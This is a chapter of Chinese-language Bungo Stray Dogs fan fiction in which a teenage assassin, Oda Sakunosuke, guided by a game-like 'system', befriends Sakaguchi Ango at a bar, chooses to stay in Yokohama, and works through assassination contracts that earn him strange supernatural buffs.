    [系统亲回来啦！作之助亲久等了！]


    [嗯]


    织田作之助起身，身影如鬼魅般融入黑暗。


    [我们去找这次的任务目标]


    [好的。作之助亲的职业积极性真是让系统亲欣慰]


    系统感叹道。


    距离上一个任务完成才过来四天织田作之助就主动提出继续下一个任务。


    系统觉得这才是正常的情况，这才是每份工作都认真对待的织田作之助。


    织田作之助先前的消极怠工完全是它的原因，是它不能让宿主早点信任它。


    织田作之助提出工作一部分是因为他想约坂口安吾出来结果对方忙于葬礼脱不开身，一部分是他无聊了。


    正好后台来约他的消息不少他就选几个出来做任务。


    等结算的时候，系统发现织田作之助从衣服里掏出了一个印章在尸体旁印了一个猫爪。


    看着那个鲜红的爪子，五个小圆圈包围着一个大圆圈的图案，系统的核心隐隐冒烟。


    [作之助亲这是在做什么？]


    系统磕磕绊绊地问。


    [这是你。我们一起完成了任务]


    织田作之助将印章塞回衣服里淡定转身，身后是靠着墙角死不瞑目的中年人。


    他今天的目标是一个□□小头目。


    这样暗杀帮派人物的单子他手上的有很多。


    坂口安吾躺在床上捏了捏鼻梁，父亲和伯父他们准备葬礼，他被指去看护坂口百合子根本没时间做自己的事。


    坂口百合子还没放弃寻找美人鱼的心愿，坂口安吾不理解她的执念但是他也担心这个妹妹受刺激精神失常只能日常看护着。


    今天织田约他出去的事他说明情况约了改天再聚。


    带着百合子一起去找织田是不可能的，百合子有点害怕织田。坂口安吾猜想可能因为织田作之助是杀手，百合子年纪小害怕。


    类似小动物的直觉，趋利避害？


    疲惫地闭上眼睛，坂口安吾下一秒就沉沉睡去。


    过了几天坂口安吾终于摆脱了坂口百合子得到了自由时间。


    叛逆的少年立马从墙头跳下趁着夜色离开了家。


    织田作之助在墙的另一边等着他。


    蓝眸看清了坂口安吾从墙头跃下的那一幕。


    动作挺利落。


    系统也夸了一句。


    [作之助亲的朋友身手不错]


    织田作之助微微点头，拉下车窗招手示意坂口安吾过来。


    坂口安吾走过去坐在副驾上先问了一个问题：


    “你来多久了？”


    织田作之助发动新买的车子，回道：“等了十分钟。”


    十分钟前他就在了，坂口安吾在副驾上伸了伸腰，“不好意思。让你等这么长时间。”


    嘴上说着不好意思，坂口安吾伸腰的动作却很懒散放松，没有多少让朋友等的紧张。


    “没关系。你没有迟到。”他说要来接坂口安吾去个地方，这个时候离约定的时间还有几分钟。


    坂口安吾在等待的过程中越发期待织田作之助要带他去什么地方。


    直到坐在吧台前，坂口安吾都有点没反应过来。


    “织田。你带我来酒吧？”


    还不是普通酒吧，坂口安吾看见了不少弹痕。


    “嗯。”织田作之助点头，又问他：“你喝酒吗？”


    坂口安吾摇头，“不了，给我一杯番茄汁。”


    说完他一转头看着织田作之助，“你要喝酒吗？”


    织田作之助点头，“我要喝的。”


    说着他和调酒的吉村对视一眼收回视线，“这里的酒都免费，你也可以试试。”


    坂口安吾好奇道：“为什么免费？”


    “我放过这家酒吧老板的命，酒钱是他的买命钱。”织田作之助言语间没有隐瞒除去系统的部分简单把和吉村太郎的部分和坂口安吾说了说。


    坂口安吾看着在灯光下诉说的织田作之助，杀手的生活在他口中听起来完全剖去了惊险刺激的部分变成了简单的“干掉”。


    “织田，被你这么一说，做杀手好像挺无聊的。”


    坂口安吾直接说出了杀手这个词，现在这间酒吧里只有他们两个人外加一个不会背叛织田作之助的老板。他完全可以放心说出杀手这个词。


    “工作总是无聊的。”织田作之助说道，他不觉得杀人是件有意思的事情，也不多在乎，他需要这份工作养自己，而且相比其他工作做杀手更轻松。


    坂口安吾看一眼织田作之助，对方也就比他大一点，但他已经在社会上摸爬滚打很久了。


    摸爬滚打？


    坂口安


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    吾内心念一句觉得一点不贴切，织田都干杀手了，他不会受制于人。


    “会念叨工作，听起来你已经是个社畜了。”坂口安吾喝了一口番茄汁说道。


    织田作之助眨了下眼睛。


    “听起来不是个好词。”


    “当然，社畜是这个世界第二苦逼的生物。”坂口安吾毫不客气地定论。


    吉村太郎将织田作之助要的酒调制好放在吧台上就退了出去给织田作之助和他的朋友留下交流的空间。


    “第一是谁？”织田作之助将酒杯放在旁边。


    “学畜。”


    坂口安吾扯出一个僵硬苍白的笑容，冰冷的眼镜闪过灰暗的光。


    “像我这样被学习压倒的人。”


    织田作之助下意识屏住呼吸，坂口这个笑属实吓人。


    想学什么就学什么，已经远离学校两年的织田作之助体会不到坂口安吾被家里人逼着学这学那的苦涩生活。


    但他能体会到坂口安吾此刻的怨气。


    织田作之助想这个时候应该说点什么转移一下坂口安吾的注意力。


    他张开口说道：“我带你来这里是想告诉你，我希望你能成为我的挚友。”


    坂口安吾眼镜上的冷光消失，眼眸透过镜片看向织田作之助。


    他说这句话很认真。坂口安吾意识到之后身体更坐直了一些。


    第一句话说出后剩下的就很好说出口了。


    织田作之助和坂口安吾都是十几岁的初中生年纪，这个青涩的相遇时间让两个少年之间没有夹杂任何东西，有的只是对闯入自己世界的对方的好奇。


    “在这里，有一个人在我面前自杀。我遇见他是因为他想要为挚友报仇。”


    织田作之助将那天发生的事全部讲给了坂口安吾，他不掩饰和坂口安吾交朋友的原因。


    包括目的。


    坂口安吾听完这些事沉默了一瞬。


    织田想要的是挚友。


    还是能生死相托的挚友。


    坂口安吾抬眸看着织田作之助那双沉静的蓝眸，“织田，没想到你是个进攻型的人。你就不怕把我吓退？”


    “我们才刚认识，你就提出这么难的问题，期待深厚的感情。”


    织田作之助耸肩，“如果你不接受，我们就当今天的事没发生过。”


    红发的少年轻笑着，他的目的就这么坦诚在坂口安吾面前。


    就像那天坂口安吾对他打开信息大门一样，织田作之助也展开了一扇门，坂口安吾进不进来看他自己。


    他已经表明了一切。


    坂口安吾握着盛着半杯番茄汁的玻璃杯，语言似乎在他的意识里消失了。


    他对织田作之助的那点兴趣够不够让他奔赴这场约定。


    坂口安吾预测不了未来他会做什么，他能不能做到织田作之助的交友要求更是未知。


    坂口安吾不是个很难接近的人，或者说想和他做朋友是个很容易的事情。他总愿意和他感兴趣的人交朋友，就是离家出走那几天他身边也没少了朋友。


    但朋友是一回事，挚友又是另一回事了。


    这是他头一次慎重思考他要不要一个朋友。


    坂口安吾听见了自己的心跳。


    织田作之助等待着一个答案。

 26.杀手织

    坂口安吾思虑了很多，比如他们这个年纪谈挚友是不是太早了，织田设置的目标也太难验证了，他怎么确认他能做出织田想要的选择。


    可他对视上织田作之助的眼睛，脑中的思绪一空。


    坂口安吾想，织田作之助要的其实很简单，他要的只是一个可能。


    一个在他死后都不知道能不能实现的可能。


    他甚至不强求这个“挚友”为他复仇。


    坂口安吾点头应下。


    织田作之助眉眼舒展，和坂口安吾碰个杯饮下酒杯中的酒。


    坂口安吾看着他饮酒心想这个世界怎么会有这么有意思的人。


    他的愿望只是要一个会为自己复仇的朋友，可他不要求这个朋友为自己复仇。


    重点是“会”，一个飘渺的可能。


    看似严苛的条件背后其实没有规则。


    坂口安吾出神的想着，视线忽地定在织田作之助的酒杯上。


    “织田，我没记错你要开车的吧？”


    织田作之助嗯了一声。


    “那你喝酒干什么？你要酒驾啊？”坂口安吾看着他的眼睛。


    “啊，一会儿安吾开车好了。”织田作之助定了一会儿后说道。


    他没考虑太多，坂口安吾答应他的挚友邀请让他很开心，想喝点烈酒压一压兴奋的情绪。


    “我开？”坂口安吾指了指自己，“你确定？”


    织田作之助点头。


    “提前说了我可没驾照，路上发生什么我可不负责。”坂口安吾笑道。


    少年的脸上有几分跃跃欲试，他早就想试试开车上路了，只是一直没机会。


    织田作之助握着酒杯置在嘴边，玻璃的折光在手背上留下斑驳的光影。


    “我负责。你放心开。我们不会出事。”他说完饮尽这杯酒。


    系统见证了宿主的交友过程，它悄悄给这一幕拍了照片。


    画面上的两个少年一个眉间轻快饮下烈酒，一个嘴角带笑，挑眉肆意。


    坂口安吾的车技其实很好，这一路上也没出问题。


    织田作之助将人送回那面墙后目视他熟练跳上墙头回家。


    几杯酒不足以让他醉，织田作之助自己开车回家。


    他还没有选好新住处，目前只是租房子。


    让他犹豫的不只是没找到心仪的房子还有咖喱店。


    他好像要失业了。


    依田玉子和依田庆一坐在一边，织田作之助坐在他们的对面。


    “玉子女士。您做好决定了吗？”织田作之助看着依田玉子。


    “作之助，我想要将这里卖出去。”依田玉子环顾了这家咖喱店，目光中带着不舍。


    “买家开出的价钱很丰厚，我想拿着这笔钱换一个城市生活。”


    依田玉子将视线再放到织田作之助身上，这个少年听见她下定决心后露出怅然的表情。


    依田玉子和丈夫对视一眼，然后看向织田作之助。


    她问：“作之助，你愿意和我们离开横滨吗？我和庆一可以供你上学，我们可以组成一个家庭。”


    织田作之助一怔，玉子女士是认真的，她想要带他离开横滨。


    依田庆一在一旁补充道：“织田少年，你来我们这里或者决定留在横滨都可以，我和玉子只希望你能平平安安的长大。”


    他不希望织田作之助在这个决定上有压力，能在横滨独立生活的小孩他有自己的主意，依田庆一知道他和妻子照顾了一段时间织田作之助，但这段时间他们也在受他照顾。


    织田少年来了之后，他们周围的治安都好了不少。


    织田作之助摇了摇头，“玉子女士，我想要留在横滨。”


    依田夫妇听见这个答案眼眶微红，他们想到这孩子之后要一个人在横滨打拼心里一阵心酸。织田懂事又勤快，平时乖巧有礼，他们心里不忍这么小的孩子留在横滨。


    但是两人最后也没劝成织田作之助答应和他们一起离开。


    织田作之助不可能离开横滨，他明白只有横滨能从让他轻松当一个杀手，完成系统的职业目标。


    这里的形势混乱，危险成倍增加，但是这也意味着他可以轻松隐藏自己，成为蚀骨的烈焰里不起眼的一缕。


    目送依田夫妇离开，织田作之助问了系统他的职业完美值。


    [作之助亲，您的职业完美值（58/100）]


    系统欢快的说：


    [其中6点来自草野阳平，2点来自木村右一]


    织田作之助猜测这些点数和目标的社会影响力有关，大学老师兼职连环杀人犯的草野阳平数值明显比帮派二把手的木村右一高多了。


    他没在多想这个问题，任务点数的区别不重要，这两个任务给他带来的金钱相差不多。


    [系统。帮我把找上我的任务单子按金额由高到低排个顺序]


    [好的。亲亲。]系统轻松整理了所有的任务清单，[已经公布到作之助亲的面板上了，请查看]


    织田作之助大概扫了一眼，金额最高的是暗杀港口黑手党首领。


    [作之助亲给订单排序要做什么？]系统问道。


    [尽快完成你说的职业完美值]


    织田作之助点了点面板，手指触碰到清凉的触感。


    [接下来会很忙，我需要你配合我完成这些任务。你来帮我收集比正常任务更多的信息，任务完成后你可以抽取一半的能量]


    [好的，作之助亲！]


    系统心想作之助亲真是太慷慨了，一半的能量啊。


    织田作之助接下来的时间都在清空订单。


    系统看着不断上涨的能量条，看清数不清的零后只剩羡慕。


    旁边稳定增长的系统能量条更让系统高兴。


    像杀手这样的自由职业也挺好的嘛，完全没有时间限制，目标也很明晰，只有优雅美丽地干掉对方就有大笔的能量到账。


    系统这段时间真的体会到了什么叫杀疯了。


    什么叫轻巧隐秘的暗杀。


    用心做事的织田作之助实力指数级增长。


    冰冷冷的数据也在增加。


    两个月后一路涨到了（90/100）


    完美的任务完成度让横滨隐隐传出横滨有个杀手组织的消息。


    里面的杀手个个身手高超，轻易完成其他杀手完不成的任务，还格外爱好动物，每个人都有专属代表的动物。


    按照现场留下的印记可以区分出代号猫，代号蛇等等各位杀手。


    织田作之助没想到他留印记的事情会发展成这样，选择不同的印记只是他买了一套的动物印章，总不能只用一个其他的落灰。


    织田作之助是在吉村太郎的酒吧里听到这个传言。


    他没管这个传言，甚至还在后续的任务里增加了这一传言的可信度。


    越多的人关注杀手组织，集中在第一名身上的注意力就越少。


    织田作之助降低存在感是因为有人盯上了他。


    一个会在路上突然冒出来，转头又消失的少年。


    如果是想来杀他的，织田作之助可以揪出来解决掉，但对方没有杀意，只是盯着他看。


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    这种被盯上的感觉很奇怪。


    最后他忍无可忍后选择让系统查这个人是谁。


    付了能量调查这件事后织田作之助得到了答案。


    系统将信息放到了宿主的面板上。


    一个黑发绿眸的少年。


    织田作之助看见了他的名字：江户川乱步


    收拾好自己的工具，织田作之助决定下一个任务完成后去见一见这位江户川乱步。


    这一次的任务目标正在举办舞会。


    织田作之助这次混进去是作为雇主的舞伴。


    这个雇主和雇佣他杀人的不是一个人，单纯就是买下他一天时间当个舞伴。


    织田作之助一进场就被抛下了，他的雇主雇佣他就是来给她打掩护让她好暗杀掉这场舞会中的一位女士。


    没错，雇佣织田作之助当舞伴的也是一位杀手。


    穿着剪裁得体的西服，织田作之助回想这位女杀手找到他的场景。


    他完成了任务被淋了一身血在烧衣服。


    任务结束，系统就看见织田作之助的能量条降低了一点。


    这是在阻止系统的buff生效。


    [作之助亲，我们还是找个时间释放buff吧。一直堵塞着只会持续消耗能量]


    系统提出建议，它看着消失的能量只觉肉疼。


    它家宿主无欲无求，但这些能量没有多少用途也不是这么挥霍的。


    织田作之助身上的衣服被血液染红了一片，听见系统说话的声音皱了皱眉。


    从展开的蓝色面板上看清自己身上有多少buff织田作之助罕见沉默了一下。


    他这段时间的任务刷出来的buff最多的居然是魅力。


    [魅力buff：一小时（累计）]


    [速度buff：40分钟]


    [力量buff：5分钟]


    [气化buff：9分钟（累计）]


    [动物交流：3分钟]


    [心智控制：6分钟（累计）]


    [血刺buff：4分钟45秒]


    ……


    织田作之助合上面板回了系统一句：


    [下次任务再说]


    织田作之助抬头看一眼被绳索勒死的任务目标再看看身上的血眼中显露些嫌弃。


    血刺buff，全名“尖牙沐浴猎物的血液”


    名字听着很厉害，效果其实就是吸血。


    buff生效的那一刻，任务目标未凉的血液全从毛孔里溢出来冲到他身上。


    织田作之助怀疑这个buff是从一个吸血鬼身上生成的，这些血的目标是他的口腔。


    织田作之助躲过了恶心血液的冲击也淋了一身血。


    他心下更确定所谓的正面buff对他来说和负面buff一样。


    死亡的任务目标现在变成了一具干尸，像个风干的木乃伊一样挂在天花板下，身下是四溅的血液。


    织田作之助很少这么狼狈，满身血液黏在身上，脸侧也染了血，白皙的下巴滴滴答答地向地面滴着血。


    他庆幸自己的嘴唇上没有沾血，他没尝到血腥味。


    太脏了。


    织田作之助难忍地迈开脚步去了这栋房子的卧室给自己找了几件衣服，第一次在任务目标家耽搁时间洗澡换衣服。


    等织田作之助收拾好自己将一切痕迹清理干净离开现场，他在一个隐蔽的小巷子里烧毁了先前的衣物。


    火焰在巷子里散发着无法忽视的光芒。


    在衣物被烧成灰烬的时候，小巷里响起脚步声。